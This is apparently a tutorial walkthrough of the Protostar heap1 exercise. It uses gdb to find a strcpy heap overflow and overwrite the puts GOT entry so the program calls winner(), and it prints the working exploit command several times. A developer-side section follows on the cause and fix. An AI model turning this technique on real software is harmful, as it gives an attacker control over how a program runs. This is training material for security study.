0x21.
21. The Heap: How to exploit a Heap Overflow - bin.0x15
: Content
-> Blackbox approach to heap1 binary
-> Exploiting while ignoring the heap
-> overwriting an entry on the GOT
: Let's make some assumptions before we practice.
-> I will be a security researcher who wants to find bugs to exploit first.(= Hacker)
-> Then we become developers trying to understand the exploit to solve the problem.(= security researcher)
: Let's do it from a hacker's point of view first.
-> gdb ./heap1
-> run
Starting program: /opt/protostar/bin/heap1
Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x804a018 "", src=0x0) at strcpy.c:39
39 strcpy.c: No such file or directory.
in strcpy.c
-> It was caused by "segfault" by "strcpy".
-> A string from address 0 to another address, and 0 is clearly not valid.
-> So there was a memory crash.
-> r AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap1 AAAA
Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x804a038 "", src=0x0) at strcpy.c:39
39 strcpy.c: No such file or directory.
in strcpy.c
-> I see a difference in address. In other words, it is a different kind of error.
-> r AAAA BBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap1 AAAA BBBB
and that's a wrap folks!
Program exited with code 031.
-> This time, the program runs without errors.
-> run AAAABBBBCCCCDDDDEEEEFFFFGGGG 000011112222333344445555
Starting program: /opt/protostar/bin/heap1 AAAABBBBCCCCDDDDEEEEFFFFGGGG 000011112222333344445555
Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x46464646 <Address 0x46464646 out of bounds>,
src=0xbffff97b "000011112222333344445555") at strcpy.c:40
40 strcpy.c: No such file or directory.
in strcpy.c
-> The target address does not appear to be valid this time because of "strcpy".
-> This tried to copy the string using the second argument, the number.
-> "F" is a hexadecimal code of “46”.
-> Whatever happened, we somehow overwritten the address and used it as a destination.
-> And this shows that we can use the first argument to completely control where we want to write.
-> And the second factor gives you a complete choice of what to write.
: For example, you can override the code execution by overwriting the return pointer in the stack, or overwrite the entries in the global offset table.
-> Let's use a more stable global offset table.
-> backtrace
#0 *__GI_strcpy (dest=0x46464646 <Address 0x46464646 out of bounds>,
src=0xbffff97b "000011112222333344445555") at strcpy.c:40
#1 0x0804855a in main (argc=3, argv=0xbffff824) at heap1/heap1.c:32
-> Back tracking the stack and stored by using the return can see the pointer.
-> When we find out where we are and find bugs that shred the stack, the reverse trace is no longer meaningful.
-> set disassembly-flavor intel
-> disassemble 0x0804855a
Dump of assembler code for function main:
0x080484b9 <main+0>: push ebp
0x080484ba <main+1>: mov ebp,esp
0x080484bc <main+3>: and esp,0xfffffff0
0x080484bf <main+6>: sub esp,0x20
0x080484c2 <main+9>: mov DWORD PTR [esp],0x8
0x080484c9 <main+16>: call 0x80483bc <malloc@plt>
0x080484ce <main+21>: mov DWORD PTR [esp+0x14],eax
0x080484d2 <main+25>: mov eax,DWORD PTR [esp+0x14]
0x080484d6 <main+29>: mov DWORD PTR [eax],0x1
0x080484dc <main+35>: mov DWORD PTR [esp],0x8
0x080484e3 <main+42>: call 0x80483bc <malloc@plt>
0x080484e8 <main+47>: mov edx,eax
0x080484ea <main+49>: mov eax,DWORD PTR [esp+0x14]
0x080484ee <main+53>: mov DWORD PTR [eax+0x4],edx
0x080484f1 <main+56>: mov DWORD PTR [esp],0x8
0x080484f8 <main+63>: call 0x80483bc <malloc@plt>
0x080484fd <main+68>: mov DWORD PTR [esp+0x18],eax
0x08048501 <main+72>: mov eax,DWORD PTR [esp+0x18]
0x08048505 <main+76>: mov DWORD PTR [eax],0x2
0x0804850b <main+82>: mov DWORD PTR [esp],0x8
0x08048512 <main+89>: call 0x80483bc <malloc@plt>
0x08048517 <main+94>: mov edx,eax
0x08048519 <main+96>: mov eax,DWORD PTR [esp+0x18]
0x0804851d <main+100>: mov DWORD PTR [eax+0x4],edx
0x08048520 <main+103>: mov eax,DWORD PTR [ebp+0xc]
0x08048523 <main+106>: add eax,0x4
0x08048526 <main+109>: mov eax,DWORD PTR [eax]
0x08048528 <main+111>: mov edx,eax
0x0804852a <main+113>: mov eax,DWORD PTR [esp+0x14]
0x0804852e <main+117>: mov eax,DWORD PTR [eax+0x4]
0x08048531 <main+120>: mov DWORD PTR [esp+0x4],edx
0x08048535 <main+124>: mov DWORD PTR [esp],eax
0x08048538 <main+127>: call 0x804838c <strcpy@plt>
0x0804853d <main+132>: mov eax,DWORD PTR [ebp+0xc]
0x08048540 <main+135>: add eax,0x8
0x08048543 <main+138>: mov eax,DWORD PTR [eax]
0x08048545 <main+140>: mov edx,eax
0x08048547 <main+142>: mov eax,DWORD PTR [esp+0x18]
0x0804854b <main+146>: mov eax,DWORD PTR [eax+0x4]
0x0804854e <main+149>: mov DWORD PTR [esp+0x4],edx
0x08048552 <main+153>: mov DWORD PTR [esp],eax
0x08048555 <main+156>: call 0x804838c <strcpy@plt>
0x0804855a <main+161>: mov DWORD PTR [esp],0x804864b
0x08048561 <main+168>: call 0x80483cc <puts@plt> # (puts(”string”);
0x08048566 <main+173>: leave
0x08048567 <main+174>: ret
End of assembler dump.
-> The entire function to which this address belongs is now disassembled.
-> Our address is "5 a" came "strcpy" because in later.
-> Then there's the "call" to put next.
-> The compiler replaced "printf" with "puts" for optimization.
-> Now overwrite the global offset table entry for "puts".
-> disassemble 0x80483cc
Dump of assembler code for function puts@plt:
0x080483cc <puts@plt+0>: jmp DWORD PTR ds:0x8049774
0x080483d2 <puts@plt+6>: push 0x30
0x080483d7 <puts@plt+11>: jmp 0x804835c
End of assembler dump.
-> This means the address of the "puts" global offset table entry.
-> x 0x8049774
0x8049774 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483d2
(4:11) -> This is the goal we intend to write, so we place it on the first point.
-> Execute "gdb" but "/bin/echo" using the backticks for the first argument.
-> Tips. "echo" simply prints the delivered as an argument.
-> run "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEEFFFF"`" 000011112222333344445555
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap1 "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEEFFFF"`" 000011112222333344445555
Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x46464646 <Address 0x46464646 out of bounds>,
src=0xbffff97b "000011112222333344445555") at strcpy.c:40
40 strcpy.c: No such file or directory.
in strcpy.c
-> to get characters with hex values we can't type?
-> Echo the entire test string back to "F" to make sure that everything is working.
-> The echo inside the "backtick" is now executed and its output is placed inside.
-> The first argument is a double quotation mark, and the execution result gets the same "segfault" as before.
-> The next step is to replace "F" with the address of the "puts" global offset table.
-> run "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" 000011112222333344445555
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap1 "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE \x74\x97\x04\x08"`" 000011112222333344445555
Program received signal SIGSEGV, Segmentation fault.
0x30303030 in ?? ()
-> When we run it now we get some other "segfault" this time because of the "30303030".
-> "0x30303030" is the "ASCII" of "0000".
-> info registers
eax 0x8049774 134518644
ecx 0x0 0
edx 0x19 25
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff74c 0xbffff74c
ebp 0xbffff778 0xbffff778
esi 0x0 0
edi 0x0 0
eip 0x30303030 0x30303030 # instruction pointer
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
-> The register shows success.
-> The "eip" control allows you to redirect the code anywhere you want.
-> In this case, I want to "call" to "winner."
-> Let's check the address of "winner."
-> x winner
0x8048494 <winner>: 0x83e58955 # address of winner();
-> We therefore use "echo" in "backtick" to place it in a second argument instead of "argv[2]".
-> run "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" “`/bin/echo -ne “\x94\x84\x04\x08”`”
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap1 "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\04\x08"`"
and we have a winner @ 1572587122 # the message from winner();
Program exited with code 042.
-> You can execute it and get a winner's message.
-> ./heap1 "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\04\x08"`"
and we have a winner @ 1572587294 # the message from winner();
-> Works well outside of "gdb".
: In summary, it is possible to say.
-> Finding a bug by blackbox testing inputs.
-> Use “gdb” to identify the effects of the bug.
-> write anything anywhere.
-> Overwrite GOT puts() to redirect code.
: If you write a report for the developer.
-> Arbitrary code execution because of strcpy(Critical)
Hello,
I found this bug that allows me to redirect code execution in your heap1 program. Here is the proof of concept exploit that calls winners().
PoC: ./heap1 "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\04\x08"`"
As you can see I call heap1 with two arguments. The first one is pretty long. And somehow overwrites some address. While debugging I saw that it has to do something with strcpy. I hope this helps you to track down the issue.
Thanks and have a nice day~ LO.
: Now let's change sides and become developers.
-> Suppose you received the above e-mail from a friend who just found the bug in the program.
-> He offered proof of concept and exploit.
-> Now we can figure out why this happened and fix it.
-> Advice says you have to do something with "strcpy."
-> man strcpy
/bug
BUGS
If the destination string of a strcpy() is not large enough, then any‐
thing might happen. Overflowing fixed-length string buffers is a
favorite cracker technique for taking complete control of the machine.
Any time a program reads or copies data into a buffer, the program first
needs to check that there's enough space. This may be unnecessary if
you can show that overflow is impossible, but be careful: programs can
get changed over time, in ways that may make the impossible possible.
-> In fact, the manual told us what a bad idea was.
-> And now you can fix it.
-> For example, check the length before copying with "strncpy" or "strlen" and then execute.
: We should be able to see how the hip works in this program.
-> Let's see what it actually looks like.
-> For this purpose, breakpoints are set after each "malloc" and "strcpy".
-> 1. open heap1 in gdb
-> 2. disassemble main()
-> 3. set breakpoints after each function call
-> 4. run with POC exploit
-> gdb ./heap1
set disassembly-flavor intel
disassemble main
Dump of assembler code for function main:
0x080484b9 <main+0>: push ebp
0x080484ba <main+1>: mov ebp,esp
0x080484bc <main+3>: and esp,0xfffffff0
0x080484bf <main+6>: sub esp,0x20
0x080484c2 <main+9>: mov DWORD PTR [esp],0x8
0x080484c9 <main+16>: call 0x80483bc <malloc@plt>
0x080484ce <main+21>: mov DWORD PTR [esp+0x14],eax
0x080484d2 <main+25>: mov eax,DWORD PTR [esp+0x14]
0x080484d6 <main+29>: mov DWORD PTR [eax],0x1
0x080484dc <main+35>: mov DWORD PTR [esp],0x8
0x080484e3 <main+42>: call 0x80483bc <malloc@plt>
0x080484e8 <main+47>: mov edx,eax
0x080484ea <main+49>: mov eax,DWORD PTR [esp+0x14]
0x080484ee <main+53>: mov DWORD PTR [eax+0x4],edx
0x080484f1 <main+56>: mov DWORD PTR [esp],0x8
0x080484f8 <main+63>: call 0x80483bc <malloc@plt>
0x080484fd <main+68>: mov DWORD PTR [esp+0x18],eax
0x08048501 <main+72>: mov eax,DWORD PTR [esp+0x18]
0x08048505 <main+76>: mov DWORD PTR [eax],0x2
0x0804850b <main+82>: mov DWORD PTR [esp],0x8
0x08048512 <main+89>: call 0x80483bc <malloc@plt>
0x08048517 <main+94>: mov edx,eax
0x08048519 <main+96>: mov eax,DWORD PTR [esp+0x18]
0x0804851d <main+100>: mov DWORD PTR [eax+0x4],edx
0x08048520 <main+103>: mov eax,DWORD PTR [ebp+0xc]
0x08048523 <main+106>: add eax,0x4
0x08048526 <main+109>: mov eax,DWORD PTR [eax]
0x08048528 <main+111>: mov edx,eax
0x0804852a <main+113>: mov eax,DWORD PTR [esp+0x14]
0x0804852e <main+117>: mov eax,DWORD PTR [eax+0x4]
0x08048531 <main+120>: mov DWORD PTR [esp+0x4],edx
0x08048535 <main+124>: mov DWORD PTR [esp],eax
0x08048538 <main+127>: call 0x804838c <strcpy@plt>
0x0804853d <main+132>: mov eax,DWORD PTR [ebp+0xc]
0x08048540 <main+135>: add eax,0x8
0x08048543 <main+138>: mov eax,DWORD PTR [eax]
0x08048545 <main+140>: mov edx,eax
0x08048547 <main+142>: mov eax,DWORD PTR [esp+0x18]
0x0804854b <main+146>: mov eax,DWORD PTR [eax+0x4]
0x0804854e <main+149>: mov DWORD PTR [esp+0x4],edx
0x08048552 <main+153>: mov DWORD PTR [esp],eax
0x08048555 <main+156>: call 0x804838c <strcpy@plt>
0x0804855a <main+161>: mov DWORD PTR [esp],0x804864b
0x08048561 <main+168>: call 0x80483cc <puts@plt>
0x08048566 <main+173>: leave
0x08048567 <main+174>: ret
End of assembler dump.
-> Disassemble "main" and find all its calls, then set a break point.
-> break *0x080484ce # i1 = malloc(sizeof(struct internet));
-> break *0x080484e8 # i1->name = malloc(8);
-> break *0x080484fd # i2 = malloc(sizeof(struct internet));
-> break *0x08048517 # i2->name = malloc(8);
-> break *0x0804853d # strcpy(i1->name, argv[1]);
-> break *0x0804855a # strcpy(i2->name, argv[2]);
-> run "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\x04\x08"`"
Breakpoint 1, 0x080484ce in main (argc=3, argv=0xbffff834) at heap1/heap1.c:23
23 heap1/heap1.c: No such file or directory.
in heap1/heap1.c
-> We reached the first break point.
-> Now the first "malloc" has occurred.
-> info registers
eax 0x804a008 134520840 # return value of malloc(); & i1 = malloc(sizeof(struct internet));
ecx 0xb7fd93a0 -1208118368
edx 0x804a000 134520832
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff760 0xbffff760
ebp 0xbffff788 0xbffff788
esi 0x0 0
edi 0x0 0
eip 0x80484ce 0x80484ce <main+21>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
-> So we are now in the assembly code and the result of "malloc" is "eax".
-> "eax" includes the address of the heap with sufficient space for the Internet structure.
-> x/2wx 0x804a008
0x804a008: 0x00000000 0x00000000
-> This address simply shows that it is ".
-> "info proc mappings" allows you to view memory segments and heap views.
-> info proc mappings
process 5142
cmdline = '/opt/protostar/bin/heap1'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap1'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/heap1
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/heap1
0x804a000 0x806b000 0x21000 0 [heap]
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
-> x/64wx 0x804a000 # the heap
0x804a000: 0x00000000 0x00000011 0x00000000 0x00000000
0x804a010: 0x00000000 0x00020ff1 0x00000000 0x00000000
0x804a020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0f0: 0x00000000 0x00000000 0x00000000 0x00000000
-> Tips. It is recommended to add this heap output as a "gdb" hook.
-> Therefore, it can be checked automatically at each stop point.
-> define hook-stop
> x/64wx 0x804a000
> end
-> c
Continuing. chunk header chunk data
0x804a000: 0x00000000 0x00000011 0x00000001 0x00000000 # return value of 1st malloc(): i1 & priority = 1
0x804a010: 0x00000000 0x00000011 0x00000000 0x00000000
0x804a020: 0x00000000 0x00020fe1 0x00000000 0x00000000
0x804a030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0f0: 0x00000000 0x00000000 0x00000000 0x00000000
Breakpoint 2, 0x080484e8 in main (argc=3, argv=0xbffff834) at heap1/heap1.c:25
25 in heap1/heap1.c
-> Let's check the hip.
-> We learned the "i1" variable pointer.
-> So this is where the structure starts and the first property is set to "1".
-> Before that, there is a chunk header, which is heap metadata, which contains length.
-> length: 0x11 => 0x10 = 16 bytes + 1 in use = 0x11
-> Now all we can do is define and address the variable "i1" in "gdb".
-> set $i1 = (struct internet*)0x804a008 # 0x804a000 + 8(bytes) = Location of "0x00000001"
-> print $i1
$1 = (struct internet *) 0x804a008
-> print *$i1
$2 = {priority = 1, name = 0x0}
-> Now we can print out this variable "i1" and "gdb" displays attribute priority and name.
-> Because memory has been allocated, it can be seen that the priority is "1" and the name is still "0".
-> No "i1" property name has yet been specified for the name.
-> The address of the name and "i2" are assigned when proceeding to the next break point.
-> c
Continuing.
0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018
0x804a010: 0x00000000 0x00000011 0x00000000 0x00000000
0x804a020: 0x00000000 0x00000011 0x00000000 0x00000000
0x804a030: 0x00000000 0x00020fd1 0x00000000 0x00000000
0x804a040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0f0: 0x00000000 0x00000000 0x00000000 0x00000000
Breakpoint 3, 0x080484fd in main (argc=3, argv=0xbffff834) at heap1/heap1.c:27
27 in heap1/heap1.c
-> print *$i1
$3 = {priority = 1, name = 0x804a018 ""}
-> info registers
eax 0x804a028 134520872 # return value of malloc() for the “i2” struct.
ecx 0xb7fd93a0 -1208118368
edx 0x804a020 134520864
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff760 0xbffff760
ebp 0xbffff788 0xbffff788
esi 0x0 0
edi 0x0 0
eip 0x80484fd 0x80484fd <main+68>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
-> The object has been assigned and the result of "malloc" is again "eax".
-> It is the address of the object "i2".
-> Therefore, the variable "i2" may be defined in "gdb".
-> set $i2 = (struct internet*)0x804a028
-> print *$i2
$4 = {priority = 0, name = 0x0}
-> You can see that it is still empty when you print it.
-> print *$i1
$5 = {priority = 1, name = 0x804a018 ""}
-> Now we must set the priority of "i2" to "2".
-> c
Continuing. priority name
0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018
0x804a010: 0x00000000 0x00000011 0x00000000 0x00000000
0x804a020: 0x00000000 0x00000011 0x00000002 0x00000000
0x804a030: 0x00000000 0x00000011 0x00000000 0x00000000
0x804a040: 0x00000000 0x00020fc1 0x00000000 0x00000000 # Length
0x804a050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0f0: 0x00000000 0x00000000 0x00000000 0x00000000
Breakpoint 4, 0x08048517 in main (argc=3, argv=0xbffff834) at heap1/heap1.c:29
29 in heap1/heap1.c
-> print *$i2
$6 = {priority = 2, name = 0x0}
-> When printing "i2" objects, all four "malloc"s were completed in heap memory.
-> There is one thing that we haven't talked about yet in the previous video.
-> The area of any mass after the mark.(0x00020fc1 = Length)
-> This number is the size of the rest of the heap.
-> These areas are all available memory, often referred to as exploitation terms.
-> All of this is basically a huge heap, and the number is length.
-> print *$i1
$7 = {priority = 1, name = 0x804a018 ""} # empty string
-> The name of the current "i1" is still an empty string
-> But this changes at the next stop. # strcpy(i1->name, argv[1]);
-> This is because it executes the first "strcpy".
-> c
Continuing.
0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018
0x804a010: 0x00000000 0x00000011 n 0x41414141 0x42424242
0x804a020: 0x43434343 0x44444444 0x45454545 0x08049774
0x804a030: 0x00000000 0x00000011 0x00000000 0x00000000
0x804a040: 0x00000000 0x00020fc1 0x00000000 0x00000000
0x804a050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0f0: 0x00000000 0x00000000 0x00000000 0x00000000
Breakpoint 5, main (argc=3, argv=0xbffff834) at heap1/heap1.c:32
32 in heap1/heap1.c
-> The first thing to notice is in hip memory.
-> The "ASCII" character appears and appears to have overwritten many stubs.
-> what earlier was supposed to be chunk header metadata, like the size is now "44444444".
-> Let's look at objects "i1" and "i2".
-> print *$i1
$8 = {priority = 1, name = 0x804a018 "AAAABBBBCCCCDDDDEEEEt\227\004\b"}
-> "i1" still has a priority "1" and a name.
-> How about “i2”?
-> print *$i2
$9 = {priority = 1162167621, name = 0x8049774 "҃\004\b"}
-> Strangely, priority is a very large number.
-> In fact, this is an "E" with a decimal "45454545”.
-> In fact, we overwritten the next chunks in the heap after the "i1" name.
-> print *$i2->name
$10 = -46 '\322'
-> print $i2->name
$11 = 0x8049774 "\004\b"
-> Now the next "strcpy" takes "i2->name" and points to bad memory and tries. # strcpy(i2->name, argv[2]);
-> x $i2->name
0x8049774 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483d2 # “i2->name” points to the GOT.
-> Copy the second argument.
: As a result, this task shows one aspect of heap exploit.
-> It doesn’t attack the heap algorithms.
-> Application trusts in integrity of objects on the heap.
-> Modified an address on the heap to get a write anything anywhere primitive.